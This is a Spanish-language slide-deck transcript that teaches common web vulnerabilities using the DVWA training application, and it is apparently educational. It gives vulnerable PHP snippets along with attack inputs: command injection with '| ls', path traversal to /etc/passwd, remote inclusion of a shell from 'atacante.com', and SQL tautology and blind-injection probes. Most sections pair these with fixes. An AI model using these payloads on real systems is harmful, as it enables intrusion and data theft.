Vulnerabilidades en aplicaciones web

27
VULNERABILIDADES EN APLICACIONES WEB www.realtic.es

description

Presentación de iniciación en las principales vulnerabilidades presentes de las aplicaciones web.

Transcript of Vulnerabilidades en aplicaciones web

Page 1: Vulnerabilidades en aplicaciones web

VULNERABILIDADES EN APLICACIONES WEB

www.realtic.es

Page 2: Vulnerabilidades en aplicaciones web

¿DE QUE VA ESTO?

¿POR QUÉ SERGURIDAD EN LA WEB?

Page 3: Vulnerabilidades en aplicaciones web

¿QUÉ VULNERABILIDADES VAMOS A VER?

•OS Commanding •Local File Inclusion (LFI) •Remote File Inclusion (RFI) •SQL Injection •Blind SQL Injection •Unrestricted File Upload •Cross-site scripting (XSS)

Page 4: Vulnerabilidades en aplicaciones web

DEMO

Damn Vulnerable Web Application (DVWA)

www.dvwa.co.uk

http://www.dvwa.co.uk/DVWA-1.0.7.iso

Page 5: Vulnerabilidades en aplicaciones web

OS COMMANDING Ataque que permite la ejecución no autorizada de comandos en el sistema operativo del servidor web

<?php passthru("/bin/ping " . $_GET[‘IP’]); ?>

Podemos realizar este ataque ingresando “;” o “|” (dependiendo del sistema operativo) IP = 192.168.1.1 | ls

SOLUCIÓN: Filtrar correctamente los parámetros recibidos por el cliente.

Page 6: Vulnerabilidades en aplicaciones web

OS COMMANDING

DEMO

Page 7: Vulnerabilidades en aplicaciones web

LOCAL FILE INCLUSION Ataque que permite el enlace de archivos locales debido a una mala filtración en las funciones propias de PHP: include(), include_once(), requiere(), requiere_once().

<?php $pagina = $_GET[‘pagina'] ; if (isset( $pagina) ) { include( ‘paginas/’ . $pagina . '.php' ); } else { include( ‘index.php' ); } ?>

Page 8: Vulnerabilidades en aplicaciones web

LOCAL FILE INCLUSION Ataque que permite el enlace de archivos locales debido a una mala filtración en las funciones propias de PHP: include(), include_once(), requiere(), requiere_once().

<?php $pagina = $_GET[‘pagina'] ; if (isset( $pagina) ) { include( ‘paginas/’ . $pagina . '.php' ); } else { include( ‘index.php' ); } ?>

/vulnerable.php?pagina=../../../../../../../../etc/passwd%00

Page 9: Vulnerabilidades en aplicaciones web

REMOTE FILE INCLUSION

Ataque que permite el enlace de archivos remotos debido a una mala filtración en las funciones propias de PHP: include(), include_once(), requiere(), requiere_once() Directivas activadas en la configuración de PHP: allow_url_include allow_url_fopen

Page 10: Vulnerabilidades en aplicaciones web

REMOTE FILE INCLUSION

Ataque que permite el enlace de archivos remotos debido a una mala filtración en las funciones propias de PHP: include(), include_once(), requiere(), requiere_once() Directivas activadas en la configuración de PHP: allow_url_include allow_url_fopen

http://www.securityartwork.es/2010/12/22/recopilacion-local-file-inclusion-lfi/

Page 11: Vulnerabilidades en aplicaciones web

REMOTE FILE INCLUSION

<?php $pagina = $_GET[‘pagina'] ; if (isset( $pagina) ) { include( $pagina . '.php' ); } else { include( ‘index.php' ); } ?>

/vulnerable.php?pagina=http://www.google.com? /vulnerable.php?pagina=http://atacante.com/shell.txt?

Ejemplo:

Page 12: Vulnerabilidades en aplicaciones web

Soluciones: •Filtrar los valores recibidos por el usuario $pagina = preg_replace('/[^a-z^A-Z]*/', '', $_GET['pagina']);

IMPORTANTE: ¡¡Solo aceptar los caracteres necesarios!!

$pagina = str_replace('../', '', $_GET[‘pagina’]); /vulnerable.php?pagina=..%2F..%2F..%2F..%2Fetc%2Fpasswd - OWNED!!

• Almacenar las distintas opciones válidas en un array y comprobar si se encuentra en dicho array $paginas = array('principal', ‘blog', 'contacto'); if(isset($_GET['pagina']) and in_array($_GET['pagina'], $paginas))

•Desactivar allow_url_include y allow_url_fopen •No confiar nunca en el usuario, y, por lo tanto, no incluir nada que un usuario pueda modificar.

Page 13: Vulnerabilidades en aplicaciones web

LOCAL FILE INCLUSION &

REMOTE FILE INCLUSION

DEMO

Page 14: Vulnerabilidades en aplicaciones web

SQL INJECTION & BSQL INJECTION Ataque que permite manipular una consulta SQL por un atacante con el fin de leer/modificar/eliminar datos sensibles de la base de datos o del sistema.

mysql_query("SELECT * FROM ‘Usuarios’ WHERE Usuario=‘“ . $_GET[‘usuario'] . ”’ AND Password=‘“ . $_GET[‘password'] . “’;”);

Page 15: Vulnerabilidades en aplicaciones web

SQL INJECTION & BSQL INJECTION Ataque que permite manipular una consulta SQL por un atacante con el fin de leer/modificar/eliminar datos sensibles de la base de datos o del sistema.

Usuario = a’ or ‘1’=‘1 Password = a’ or ‘1’=‘1

mysql_query("SELECT * FROM ‘Usuarios’ WHERE Usuario=‘“ . $_GET[‘usuario'] . ”’ AND Password=‘“ . $_GET[‘password'] . “’;”);

Page 16: Vulnerabilidades en aplicaciones web

SQL INJECTION & BSQL INJECTION Ataque que permite manipular una consulta SQL por un atacante con el fin de leer/modificar/eliminar datos sensibles de la base de datos o del sistema.

Usuario = a’ or ‘1’=‘1 Password = a’ or ‘1’=‘1

mysql_query("SELECT * FROM ‘Usuarios’ WHERE Usuario=‘“ . $_GET[‘usuario'] . ”’ AND Password=‘“ . $_GET[‘password'] . “’;”);

mysql_query("SELECT * FROM ‘Usuarios’ WHERE Usuario=‘a’ or ‘1’=‘1’ AND Password=‘a’ or ‘1’=‘1’;”);

Page 17: Vulnerabilidades en aplicaciones web

SQL INJECTION & BSQL INJECTION Se considera BLIND SQL INJECTION cuando la respuesta no esta directamente impresa en el documento HTML /vulnerable.php?id=1 “SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id'] . ”;”

SELECT Usuario FROM ‘Usuarios’ WHERE id=1;

Mostraría en este caso, admin

Page 18: Vulnerabilidades en aplicaciones web

SQL INJECTION & BSQL INJECTION Se considera BLIND SQL INJECTION cuando la respuesta no esta directamente impresa en el documento HTML /vulnerable.php?id=1 “SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id'] . ”;”

SELECT Usuario FROM ‘Usuarios’ WHERE id=1;

/vulnerable.php?id=1 and 1=1 “SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id'] . ”;”

SELECT Usuario FROM ‘Usuarios’ WHERE id=1 and 1=1;

También mostraría admin

Page 19: Vulnerabilidades en aplicaciones web

SQL INJECTION & BSQL INJECTION Se considera BLIND SQL INJECTION cuando la respuesta no esta directamente impresa en el documento HTML /vulnerable.php?id=1 “SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id'] . ”;”

SELECT Usuario FROM ‘Usuarios’ WHERE id=1;

/vulnerable.php?id=1 and 1=1 “SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id'] . ”;”

SELECT Usuario FROM ‘Usuarios’ WHERE id=1 and 1=1;

/vulnerable.php?id=1 and 1=2 “SELECT Usuario FROM ‘Usuarios’ WHERE id=“ . $_GET[‘id'] . ”;”

SELECT Usuario FROM ‘Usuarios’ WHERE id=1 and 1=2;

No mostraría nada

Page 20: Vulnerabilidades en aplicaciones web

SQL INJECTION & BSQL INJECTION Soluciones:

•Validar y filtrar los datos de entrada, en particular, los caracteres especiales. •Es muy recomendable utilizar prepared statements para todas las consultas SQL •Ocultar los mensajes explícitos de error que muestren las consultas. •Restringir al mínimo los privilegios de las cuentas que se usan.

Page 21: Vulnerabilidades en aplicaciones web

SQL INJECTION &

BLIND SQL INJECTION

DEMO

Page 22: Vulnerabilidades en aplicaciones web

UNRESTRICTED FILE UPLOAD Esta vulnerabilidad se produce cuando en una aplicación que contiene un “file upload” no se hace una validación estricta de los tipos de ficheros que se pueden subir, provocando que un atacante pueda ejecutar código en el servidor o tomar el control del mismo.

Soluciones: - Denegar permiso de ejecución en el directorio donde se suben los archivos. - Verificar MIME-TYPE. - Verificar (correctamente) la extensión del archivo.

Page 23: Vulnerabilidades en aplicaciones web

UNRESTRICTED FILE UPLOAD

DEMO

Page 24: Vulnerabilidades en aplicaciones web

CROSS-SITE SCRIPTING (XSS) Fallo que se produce cuando no se valida la entrada de datos desde el cliente, provocando que se pueda inyectar código HTML en el resultado de la página.

Existen 2 tipos de ataque XSS: •No persistente •Persistente

Por este ataque, se puede obtener del usuario: •Predicción del Id de sesión. •Robo de Cookies. •Ejecución de código malicioso.

htmlentities - NO SIEMPRE ES LA SOLUCIÓN DEFINITIVA

Page 25: Vulnerabilidades en aplicaciones web

CROSS-SITE SCRIPTING (XSS)

DEMO

Page 26: Vulnerabilidades en aplicaciones web

¿Preguntas?

Page 27: Vulnerabilidades en aplicaciones web

¡¡GRACIAS!!